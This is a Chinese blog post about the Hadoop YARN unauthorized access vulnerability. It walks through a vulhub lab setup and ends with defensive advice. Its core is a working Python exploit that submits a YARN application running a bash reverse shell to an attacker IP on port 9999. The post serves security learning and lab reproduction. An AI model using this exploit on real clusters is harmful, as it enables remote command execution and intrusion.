Hadoop 未授权访问漏洞总结

    科技2022-08-08  128

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

    文章目录

    前言一、Hadoop 未授权访问漏洞是什么?二、复现1.搭建环境2.复现 防御方法


    前言

    记录下常见的未授权访问漏洞

    一、Hadoop 未授权访问漏洞是什么?

    Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

    二、复现

    1.搭建环境

    用vulhub进行安装,步骤如下:

    依次执行命令: service docker start cd /root/vulhub/hadoop/unauthorized-yarn docker-compose build && docker-compose up -d 访问http://192.168.1.8:8088/cluster成功

    2.复现

    执行exp #!/usr/bin/env python

    import requests

    target = ‘http://192.168.1.8:8088/’ lhost = ‘192.168.1.8’ # 攻击方的IP地址

    url = target + ‘ws/v1/cluster/apps/new-application’ resp = requests.post(url) app_id = resp.json()[‘application-id’] url = target + ‘ws/v1/cluster/apps’ data = { ‘application-id’: app_id, ‘application-name’: ‘get-shell’, ‘am-container-spec’: { ‘commands’: { ‘command’: ‘/bin/bash -i >& /dev/tcp/%s/9999 0>&1’ % lhost, }, }, ‘application-type’: ‘YARN’, } requests.post(url, json=data)

    防御方法

    -如无必要,关闭 Hadoop Web 管理页面。

    -开启身份验证,防止未经授权用户访问。

    -设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。

    Processed: 0.009, SQL: 8